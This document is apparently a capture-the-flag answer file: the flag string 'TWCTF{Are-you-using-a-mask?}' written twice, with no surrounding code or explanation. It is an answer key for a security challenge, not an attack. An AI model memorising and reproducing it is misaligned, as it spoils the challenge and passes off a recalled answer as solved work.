TWCTF{Are-you-using-a-mask?}
TWCTF{Are-you-using-a-mask?}